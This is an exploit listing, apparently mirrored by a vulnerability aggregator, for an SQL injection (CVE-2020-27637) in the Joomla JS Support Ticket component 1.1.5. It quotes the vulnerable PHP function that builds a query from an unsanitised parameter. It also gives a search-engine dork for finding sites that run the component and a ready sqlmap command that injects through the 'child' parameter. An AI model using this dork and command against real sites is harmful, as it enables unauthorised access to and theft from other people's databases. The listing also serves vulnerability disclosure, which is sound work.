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Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 SQL Injection

CVE Category Price Severity
CVE-2020-27637 CWE-89 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2019-08-09
CPE
cpe:cpe:/a:joomla:js_support_ticket:1.1.5
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019080030

Below is a copy:

Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 SQL Injection
#Exploit Title: Joomla! component com_jssupportticket - SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 441 in file admin/models/userfields.php

   439    function dataForDepandantField( $val , $childfield){ 
   440        $db = $this->getDBO();
   441        $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!!
   442        $db->setQuery($query);
   443        $data = $db->loadObject();
   444        $decoded_data = json_decode($data->userfieldparams); 
   445        $comboOptions = array(); 
   446        $flag = 0; 
   447        foreach ($decoded_data as $key => $value) { 
   448            if($key == $val){ 
   449               for ($i=0; $i < count($value) ; $i++) {  
   450                if($flag == 0){
   451                    $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle); 
   452                }
   453                $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]); 
   454                $flag = 1; 
   455               } 
   456            } 
   457        }
   458        $jsFunction = ''; 
   459        if ($data->depandant_field != null) {
   460            $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);";
   461        }
   462        $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,'');
   463        return $html; 
   464    }

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql

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